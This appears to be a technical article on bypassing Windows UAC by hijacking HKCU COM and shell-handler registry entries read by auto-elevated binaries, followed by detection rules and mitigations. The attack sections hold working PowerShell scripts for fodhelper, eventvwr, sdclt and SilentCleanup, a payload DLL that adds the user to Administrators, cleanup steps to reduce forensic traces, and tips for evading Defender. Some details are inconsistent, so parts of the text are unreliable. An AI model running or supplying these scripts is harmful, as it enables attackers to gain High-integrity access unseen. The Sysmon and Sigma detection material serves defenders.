TL;DR — Windows auto-elevates certain Microsoft-signed executables — marked withautoElevate: truein their application manifest — without showing a UAC prompt. These elevated processes load COM objects by consulting HKCU before HKLM, enabling any standard user who is also a local administrator to plant a rogue CLSID entry in HKCU and have the auto-elevated process load their DLL at High integrity. This article covers UAC architecture, the COM CLSID resolution order, step-by-step HKCU hijacking foreventvwr.exeandfodhelper.exe, DLL payload requirements, the SilentCleanup andsdclt.exevariants, detection with Sysmon and process telemetry, and the MITRE ATT&CK T1548.002 mapping.
Executive Summary
User Account Control is Windows' most widely deployed privilege-boundary mechanism, preventing standard processes from silently acquiring administrative capabilities. Its fundamental limitation, however, is that it auto-elevates a curated list of Microsoft-signed executables without user interaction. These auto-elevate processes are explicitly trusted to perform administrative operations on behalf of the user — and in doing so, they run at High integrity under the current user account.
COM hijacking exploits the fact that these auto-elevated processes look up COM objects in HKCU\Software\Classes\CLSID\ before HKLM\Software\Classes\CLSID\. Because any process (even a Medium-integrity one) can write to HKCU, an attacker can register a malicious InprocServer32 DLL under a CLSID that the auto-elevated process will load. The DLL runs at High integrity — UAC silently bypassed.
This technique is reliable, produces no user-visible UAC prompt, requires no kernel exploits, works without administrative privileges, and has been in active use in post-exploitation frameworks since at least 2015. It is categorized as MITRE ATT&CK T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control).
UAC Architecture and the Auto-Elevate Flag
Integrity Levels and the UAC Boundary
Windows Vista and later implement a Mandatory Integrity Control (MIC) model that assigns processes one of four integrity levels:
| Integrity Level | SID | Typical Use |
|---|---|---|
| System | S-1-16-16384 | OS services, kernel components |
| High | S-1-16-12288 | Administrator processes, elevated processes |
| Medium | S-1-16-8192 | Standard user processes, UAC-split admin token |
| Low | S-1-16-4096 | Protected Mode IE, sandboxed processes |
An administrator who logs in to Windows receives two tokens: a full administrative token (High integrity) and a filtered standard token (Medium integrity). Normally, new processes launch with the filtered Medium token. UAC elevation is required to launch a process with the High-integrity token — triggering the familiar consent dialog.
The autoElevate Manifest Flag
Certain Windows system executables bypass the consent dialog entirely. Their application manifest includes:
<!-- Example: eventvwr.exe manifest (embedded resource) --><requestedExecutionLevel level="highestAvailable" uiAccess="false" /><!-- And in Microsoft's internal manifest schema: --><autoElevate>true</autoElevate>The autoElevate flag tells the Application Information (appinfo.dll) service to grant elevation automatically, without displaying a UAC prompt, when the following conditions are met:
- The executable is digitally signed by Microsoft.
- The executable is located in a protected system directory (
%SystemRoot%\System32\or%SystemRoot%\SysWOW64\). - The current user is a member of the local Administrators group.
- The UAC setting is not "Always Notify" (the maximum setting — only "Always Notify" defeats auto-elevate).
flowchart TD
A[User launches eventvwr.exe] --> B[ShellExecute → appinfo.dll]
B --> C{Is executable signed by Microsoft?}
C -->|No| D[Standard UAC prompt]
C -->|Yes| E{Is executable in System32 or SysWOW64?}
E -->|No| D
E -->|Yes| F{Does manifest have autoElevate=true?}
F -->|No| D
F -->|Yes| G{Is user a local admin?}
G -->|No| D
G -->|Yes| H{UAC level != Always Notify?}
H -->|Always Notify| D
H -->|Default / lower| I[Auto-elevate: launch at High integrity\nNO UAC PROMPT SHOWN]The Scope of the Vulnerability
The autoElevate flag is present in dozens of Windows executables. A 2015 survey by James Forshaw identified over 30 auto-elevate binaries in Windows 10. Key ones that have been weaponized include:
eventvwr.exe— Event Viewerfodhelper.exe— Features On Demand helpersdclt.exe— Windows Backup and Restoremmc.exe— Microsoft Management Console (with certain snap-ins)dccw.exe— Display Color CalibrationCompMgmtLauncher.exe— Computer Managementslui.exe— Windows Activation
COM Object Resolution Order
HKCU Before HKLM
When a COM client calls CoCreateInstance(CLSID, ...), the COM runtime resolves the CLSID to a DLL path by searching the registry in this order:
HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32HKLM\Software\Classes\CLSID\{CLSID}\InprocServer32HKCR\CLSID\{CLSID}\InprocServer32(virtual merge of HKCU and HKLM)
HKCU has priority over HKLM. And critically: writing to HKCU requires only Medium integrity — no elevation needed. Any unprivileged code running under the current user's account can create arbitrary registry keys in HKCU.
Why Auto-Elevate Processes Are Vulnerable
When eventvwr.exe launches at High integrity (auto-elevated), it still runs as the current user. Its registry access uses the current user's HKCU hive — the same HKCU that a Medium-integrity process can write to. This creates the bypass: a Medium-integrity process writes a malicious CLSID to HKCU, then launches eventvwr.exe. eventvwr.exe auto-elevates to High integrity, loads a COM object using the current user's HKCU, finds the malicious CLSID entry, loads the attacker's DLL — and that DLL inherits the High-integrity token.
sequenceDiagram
participant A as Attacker Process\n(Medium Integrity)
participant R as Registry (HKCU)
participant E as eventvwr.exe\n(auto-elevated, High Integrity)
participant D as Malicious DLL\n(loaded at High Integrity)
A->>R: Write HKCU\...\CLSID\{MSC_CLSID}\InprocServer32 = C:\evil.dll
A->>E: ShellExecute("eventvwr.exe")
Note over E: appinfo auto-elevates to High integrity
E->>R: CoCreateInstance({MSC_CLSID}) lookup
R-->>E: InprocServer32 = C:\evil.dll (HKCU wins over HKLM)
E->>D: LoadLibrary("C:\evil.dll")
Note over D: DLL runs at High integrity
D->>D: DllMain / DllGetClassObject executed
D->>D: Spawn cmd.exe /c net localgroup administrators ...\n(now running at High integrity)Step-by-Step: HKCU CLSID Poisoning for eventvwr.exe
Identifying the Target CLSID
Process Monitor (Procmon) from Sysinternals is the standard tool for identifying which CLSIDs an auto-elevate process looks up and fails to find. Run Procmon with a filter for eventvwr.exe, filter for NAME NOT FOUND results in the registry, and launch Event Viewer. The critical observation is a failed lookup in HKCU followed by a successful lookup in HKLM:
eventvwr.exe RegOpenKey HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} NAME NOT FOUNDeventvwr.exe RegOpenKey HKLM\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} SUCCESSCLSID {0A29FF9E-7F9C-4437-8B11-F424491E3931} is MMC20.Application — the COM automation interface for the Microsoft Management Console, which Event Viewer uses to load its snap-in.
An alternative, simpler target: eventvwr.exe opens the registry path HKCU\Software\Classes\mscfile\shell\open\command during its DCOM initialization sequence:
# PowerShell: eventvwr.exe UAC bypass (simplest form — Shell\Open\Command not COM InprocServer32)# This variant abuses shell association rather than pure COM, but demonstrates the same HKCU principle $RegPath = "HKCU:\Software\Classes\mscfile\shell\open\command"New-Item -Path $RegPath -Force | Out-NullSet-ItemProperty -Path $RegPath -Name "(Default)" -Value "cmd.exe /c start cmd.exe" -Force # Launch eventvwr — it will auto-elevate and use the HKCU shell associationStart-Process eventvwr.exeThe Pure COM CLSID Approach
For a proper COM InprocServer32 hijack, the target CLSID must have:
- An existing HKLM registration (so the app has a fallback it expects to find).
- A lookup in HKCU first (confirmed by Procmon).
- An
InprocServer32type (DLL, notLocalServer32which would require an EXE).
# PowerShell: COM InprocServer32 hijack for eventvwr.exe# Target CLSID: {0A29FF9E-7F9C-4437-8B11-F424491E3931} (MMC20.Application InprocServer32) $CLSID = "{0A29FF9E-7F9C-4437-8B11-F424491E3931}"$PayloadDll = "C:\Users\$env:USERNAME\AppData\Local\Temp\payload.dll"$RegBase = "HKCU:\Software\Classes\CLSID\$CLSID" # Create the CLSID key structureNew-Item -Path "$RegBase\InprocServer32" -Force | Out-NullSet-ItemProperty -Path "$RegBase\InprocServer32" -Name "(Default)" -Value $PayloadDllSet-ItemProperty -Path "$RegBase\InprocServer32" -Name "ThreadingModel" -Value "Apartment" # Launch the auto-elevate targetStart-Process "C:\Windows\System32\eventvwr.exe" # Cleanup after a delay (remove the HKCU key to reduce forensic artifacts)Start-Sleep -Seconds 5Remove-Item -Path $RegBase -Recurse -ForceStep-by-Step: fodhelper.exe Bypass
Why fodhelper.exe Is the Most Reliable Target
fodhelper.exe (Features on Demand helper) is present in Windows 10 and 11, is always auto-elevate, and opens a predictable registry path that it does not validate: HKCU\Software\Classes\ms-settings\shell\open\command. This is a shell protocol handler association — simpler than a COM CLSID lookup and equally exploitable.
# PowerShell: fodhelper.exe UAC bypass — shell command association# No DLL required — arbitrary command execution at High integrity $RegPath = "HKCU:\Software\Classes\ms-settings\shell\open\command"$Payload = "C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\uac_test.txt" # Step 1: Create the registry pathNew-Item -Path $RegPath -Force | Out-Null # Step 2: Set the command to executeSet-ItemProperty -Path $RegPath -Name "(Default)" -Value $Payload -ForceSet-ItemProperty -Path $RegPath -Name "DelegateExecute" -Value "" -Force # Step 3: Trigger fodhelper — it auto-elevates and executes our commandStart-Process "C:\Windows\System32\fodhelper.exe" # Step 4: CleanupStart-Sleep -Seconds 3Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -ForceThis technique has an extremely small footprint: two registry writes, one process launch. It produces no user-visible windows (the spawned cmd.exe can be hidden with SW_HIDE). The High-integrity command can add the current user to the local Administrators group, disable Windows Defender, or launch a High-integrity beacon.
DLL Payload Requirements
What the Payload DLL Must Export
When CoCreateInstance loads a COM DLL, it calls DllGetClassObject to obtain a class factory. A malicious InprocServer32 DLL must export `DllGetClassObject` or the COM runtime will report an error and potentially crash the target application (which would alert the user).
// Minimal COM payload DLL — exports required symbols// compile: cl /LD /Fe:payload.dll payload.cpp Ole32.lib #define WIN32_LEAN_AND_MEAN#include <windows.h>#include <unknwn.h> // Forward: required COM DLL exportsHRESULT __stdcall DllGetClassObject(REFCLSID rclsid, REFIID riid, void** ppv);HRESULT __stdcall DllCanUnloadNow(void);HRESULT __stdcall DllRegisterServer(void);HRESULT __stdcall DllUnregisterServer(void); // Execute payload in a new thread to avoid blocking COM initializationDWORD WINAPI PayloadThread(LPVOID) { // At this point we are running at High integrity // Example: add current user to local Administrators WinExec("net localgroup administrators %USERNAME% /add", SW_HIDE); // Or: launch a High-integrity Cobalt Strike beacon // LoadShellcode(...); return 0;} BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) { if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hMod); // Execute payload in background thread CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL); } return TRUE;} // Minimal stub implementations — return success to avoid crashHRESULT __stdcall DllGetClassObject(REFCLSID rclsid, REFIID riid, void** ppv) { if (ppv) *ppv = nullptr; return CLASS_E_CLASSNOTAVAILABLE;} HRESULT __stdcall DllCanUnloadNow(void) { return S_FALSE; }HRESULT __stdcall DllRegisterServer(void) { return S_OK; }HRESULT __stdcall DllUnregisterServer(void) { return S_OK; }The key design: execute the actual payload from DllMain in a new thread, return CLASS_E_CLASSNOTAVAILABLE from DllGetClassObject. The COM runtime will report that the class is not available, but DllMain has already executed the payload. The application may report an error (Event Viewer showing "MMC could not create snap-in") but the user typically dismisses this as a transient issue.
For a fully clean bypass that produces no error, the DLL must implement a valid class factory and return a stub IUnknown object — more complex but eliminates the error message.
SilentCleanup: Task Scheduler UAC Bypass
Using Scheduled Tasks for Auto-Elevation
The SilentCleanup scheduled task runs under the current user's context but at High integrity. It is created during Windows installation, runs the cleanmgr.exe utility, and uses the RunLevel="HighestAvailable" task configuration — meaning it auto-elevates without a UAC prompt.
The environment variable %windir% is resolved at task runtime. An attacker who controls %windir% via the user's environment block can redirect the task to execute arbitrary commands:
# SilentCleanup UAC bypass via %windir% environment variable manipulation # Step 1: Set %windir% to a directory we control$env:windir = "C:\Windows\System32\cmd.exe /c start cmd.exe &REM " # Step 2: Trigger SilentCleanup via schtasksschtasks /Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I # When the task runs, it expands %windir%\system32\cleanmgr.exe# But %windir% now contains the injected command string# The result: cmd.exe executes at High integrityThis technique is particularly clean because it uses a built-in scheduled task (no new task creation required), leaves minimal artifacts, and is present in all Windows 10/11 installations.
sdclt.exe Bypass
The IsolatedCommand Registry Value
sdclt.exe (Windows Backup Control Panel applet) is auto-elevate and reads a registry value that it uses to launch a child process. The registry key is:
HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe
When sdclt.exe is launched with the /kickoffelev flag, it reads this key and launches the contained command at High integrity.
# sdclt.exe UAC bypass # Method 1: App Paths$RegPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"New-Item -Path $RegPath -Force | Out-NullSet-ItemProperty -Path $RegPath -Name "(Default)" -Value "C:\Temp\payload.exe" Start-Process "C:\Windows\System32\sdclt.exe" -ArgumentList "/kickoffelev"Start-Sleep -Seconds 3Remove-Item -Path $RegPath -Force # Method 2: IsolatedCommand (older Windows 10 builds)$RegPath2 = "HKCU:\Software\Classes\exefile\shell\runas\command"New-Item -Path $RegPath2 -Force | Out-NullSet-ItemProperty -Path $RegPath2 -Name "IsolatedCommand" -Value "C:\Temp\payload.exe" Start-Process "C:\Windows\System32\sdclt.exe"Start-Sleep -Seconds 3Remove-Item -Path "HKCU:\Software\Classes\exefile" -Recurse -ForceUAC Bypass via DLL Hijacking in Auto-Elevated Processes
DLL Search Order Hijacking
Beyond CLSID registration, auto-elevated processes are also vulnerable to DLL search-order hijacking. When an auto-elevated executable loads a DLL by name (not absolute path), the Windows DLL loader searches a sequence of directories. If the application's directory or %PATH% components precede %SystemRoot%\System32, and the attacker can write to one of those directories, a planted DLL will be loaded at High integrity.
The challenge: auto-elevated executables in System32 typically resolve DLL loads from System32 first. The opportunity exists when:
- The auto-elevated process has a working directory outside
System32. - The auto-elevated process loads a DLL that exists in
System32but also searches%APPDATA%or%TEMP%first. - The auto-elevated process has a side-by-side (SxS) manifest that specifies a relative DLL path.
// Identifying DLL hijack candidates with Procmon filter:// Process Name: eventvwr.exe// Operation: CreateFile// Path: ends with .dll// Result: NAME NOT FOUND// Path: NOT containing \System32\ // Example finding: eventvwr.exe attempts to load CRYPTBASE.dll from %SystemRoot% directory// If attacker has write access to a directory earlier in the search order:// Place malicious CRYPTBASE.dll there → loaded at High integrityLimitations
Why This Is Not a True Privilege Escalation
COM hijacking UAC bypass is critical to understand correctly: it does not escalate privileges in the traditional sense. The prerequisites are:
- The attacker already has code execution in the context of a user who is a member of the local Administrators group.
- The UAC setting must not be "Always Notify."
The technique elevates a Medium-integrity process (the default for an administrator who has not manually elevated) to High integrity. It does not grant Administrators group membership to a standard user, and it cannot be used by a non-administrator.
This is still highly valuable post-exploitation: most enterprise users with administrative rights run as Medium integrity by default. A beacon injected via phishing or initial access runs at Medium integrity and cannot write to protected registry keys, stop services, or modify system directories. Elevation to High integrity removes these restrictions without triggering a UAC prompt.
| Requirement | Value |
|---|---|
| User must be in local Administrators group | Yes — mandatory |
| Requires any kernel exploit | No |
| Requires a UAC prompt | No (defeats the purpose) |
| Requires existing code execution | Yes — technique is post-exploitation |
| Works when UAC = "Always Notify" | No — only this setting defeats it |
| Works on Windows 10/11 default UAC setting | Yes |
Detection
Sysmon EventID 13: Registry Value Set
The most reliable detection signal is a Sysmon Event ID 13 (RegistryEvent: Value Set) for the specific HKCU COM hijack paths, combined with a subsequent DLL load by an auto-elevated process.
<!-- Sysmon config: detect UAC bypass registry writes --><RuleGroup name="" groupRelation="or"> <RegistryEvent onmatch="include"> <!-- eventvwr COM hijack --> <TargetObject condition="contains">HKCU\Software\Classes\CLSID\</TargetObject> <TargetObject condition="contains">InprocServer32</TargetObject> <!-- fodhelper/ms-settings hijack --> <TargetObject condition="contains">HKCU\Software\Classes\ms-settings\shell\open\command</TargetObject> <!-- mscfile hijack (eventvwr variant) --> <TargetObject condition="contains">HKCU\Software\Classes\mscfile\shell\open\command</TargetObject> <!-- sdclt hijack --> <TargetObject condition="contains">HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</TargetObject> <!-- SilentCleanup windir manipulation --> <TargetObject condition="contains">HKCU\Volatile Environment</TargetObject> </RegistryEvent></RuleGroup>Correlation: Registry Write + Auto-Elevate Process Launch + DLL Load
A single HKCU CLSID write is low-confidence on its own (legitimate applications occasionally register per-user COM objects). The high-confidence detection correlates three events within a short time window:
# Sigma rule: UAC bypass COM hijacking correlation# Requires: Sysmon EventID 13 (registry write) + EventID 7 (DLL load) + EventID 1 (process create) title: UAC Bypass via COM Object HKCU Hijackingid: 9c3ca2d5-5c4d-4e7e-a998-123456789abcstatus: experimentallogsource: product: windows category: registry_eventdetection: # Step 1: Detect HKCU CLSID InprocServer32 write registry_write: EventID: 13 TargetObject|contains: - 'HKCU\Software\Classes\CLSID\' TargetObject|endswith: '\InprocServer32\(Default)' # Step 2: Correlate with auto-elevate process within 30s # (Sysmon EventID 1 with IntegrityLevel=High) process_create: EventID: 1 Image|endswith: - '\eventvwr.exe' - '\fodhelper.exe' - '\sdclt.exe' - '\CompMgmtLauncher.exe' IntegrityLevel: 'High' timeframe: 30s condition: registry_write AND process_create falsepositives: - Legitimate per-user COM server registration (rare)level: hightags: - attack.privilege_escalation - attack.T1548.002Process Integrity Level Monitoring
A simpler heuristic: alert any time a child process with High integrity is spawned by a Medium-integrity process via ShellExecute with no UAC prompt recorded in the Security event log (Event ID 4688 with elevation token type 1 = full token without prompt).
# PowerShell: detect suspiciously elevated processes without UAC prompt# Look for High-integrity processes whose parent is Medium-integrityGet-WinEvent -LogName "Security" -FilterXPath "*[EventData[Data[@Name='TokenElevationType']='%%1938']]" | Where-Object {$_.Message -match "eventvwr|fodhelper|sdclt"} | Select-Object TimeCreated, Message# Token elevation type 1938 = TokenElevationTypeLimited (auto-elevated without prompt)ETW and Windows Defender AMSI
Windows Defender's behavioral engine generates events for UAC bypass attempts via an AMSI-like interface. The specific detection: when a process writes to the HKCU CLSID hijack path and immediately launches an auto-elevate binary, Windows Defender (when using real-time protection) raises a HackTool:Win32/UACBypass or Behavior:Win32/UACBypass detection.
Bypassing this requires either:
- Disabling Windows Defender (which itself requires High integrity, creating a circular dependency).
- Using a less-common hijack path that has not yet been added to Defender's signatures.
- Using a process injection vector that does not produce the registry+process correlation pattern (e.g., performing the registry write from one process and the process launch from another, spread across time).
Hardening and Mitigations
Always Notify (Maximum UAC Level)
The only Microsoft-supported setting that defeats all auto-elevate UAC bypasses is setting UAC to "Always Notify" — the maximum level. This is configured at:
Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode
Set to: Prompt for consent on the secure desktop
With "Always Notify," every elevation — including auto-elevate binaries — triggers a UAC prompt on the secure desktop (which Medium-integrity processes cannot interact with). This prevents automated UAC bypass entirely.
The organizational cost: "Always Notify" significantly increases UAC prompts for administrators, which can degrade productivity and lead to prompt fatigue.
Windows Defender Application Control (WDAC)
WDAC (formerly Device Guard) can enforce code integrity policies that prevent unsigned or non-approved DLLs from loading in any process. A WDAC policy that requires all DLLs to be Microsoft-signed would prevent COM hijacking payload DLLs from loading — regardless of where the CLSID registry entry points.
# Deploy WDAC policy blocking unsigned DLL loads# (Simplified — real WDAC policies require New-CIPolicy and Convert-CIPolicy) New-CIPolicy -Level Publisher -FilePath "C:\Policies\Whitelist.xml" -UserPEsConvertFrom-CIPolicy -XmlFilePath "C:\Policies\Whitelist.xml" -BinaryFilePath "C:\Policies\Whitelist.p7b"Copy-Item "C:\Policies\Whitelist.p7b" -Destination "C:\Windows\System32\CodeIntegrity\SIPolicy.p7b"Remove Unnecessary Administrator Accounts
The root cause of UAC bypass susceptibility is that everyday user accounts are members of the local Administrators group. The principle of least privilege dictates that end users should not be local administrators. Where administrative rights are required (IT staff, developers), use a separate administrative account that is not used for daily browsing and email — so that a malware infection of the primary user session does not have administrator membership.
| Mitigation | Effectiveness Against COM Hijacking | Operational Cost |
|---|---|---|
| UAC = Always Notify | Blocks all auto-elevate bypasses | High (prompt fatigue) |
| WDAC (signed code policy) | Blocks unsigned DLL payload | High (deployment complexity) |
| Remove local admin rights | Eliminates precondition | Medium |
| Sysmon HKCU CLSID monitoring | Detect, not prevent | Low |
| EDR behavioral rule (T1548.002) | Detect, partial prevention | Low |
| AppLocker DLL rules | Blocks payload DLL by path/hash | Medium |
MITRE ATT&CK Mapping
Technique: T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control
Tactic: Privilege Escalation, Defense Evasion
Sub-techniques in use:
- COM object hijacking via HKCU CLSID (primary technique covered here)
- DLL search order hijacking in auto-elevated process
- Shell protocol handler hijacking (mscfile, ms-settings)
- Environment variable manipulation (SilentCleanup, %windir%)
Data Sources (ATT&CK Data Components):
- Windows Registry: Registry Key Modification (Sysmon EventID 12/13)
- Process: Process Creation (Sysmon EventID 1, EventID 4688)
- Module: Module Load (Sysmon EventID 7)
- Command: Command Execution (Sysmon EventID 1 CommandLine)
Conclusion
COM hijacking UAC bypass is a mature, reliable technique that remains highly effective against default Windows 10/11 configurations. Its elegance lies in exploiting two legitimate design decisions — auto-elevation for trusted Microsoft binaries, and HKCU priority in COM object resolution — that individually make sense but combine to create a silent elevation path.
The technique's primary limitation is also its most important clarification: it is a privilege boundary crossing within an existing administrator account, not a privilege escalation from standard user to administrator. In enterprise environments where end users are local administrators (a ubiquitous configuration despite security guidance), this distinction is often moot — a post-exploitation beacon running as Medium integrity under an administrator's account can use this technique to reach High integrity and proceed with credential dumping, lateral movement, or persistence operations that require administrative access.
For defenders, the most actionable response is threefold: enumerate which users have local administrator membership and reduce it to the minimum necessary, deploy Sysmon rule sets that alert on HKCU CLSID and shell protocol writes preceding auto-elevated process launches, and evaluate whether the organizational UAC policy should be raised to "Always Notify" for the highest-risk user populations. For organizations deploying WDAC, the signed-code requirement that blocks unsigned DLL loads closes the COM InprocServer32 hijack vector entirely — making WDAC the highest-leverage mitigation for this and many related techniques.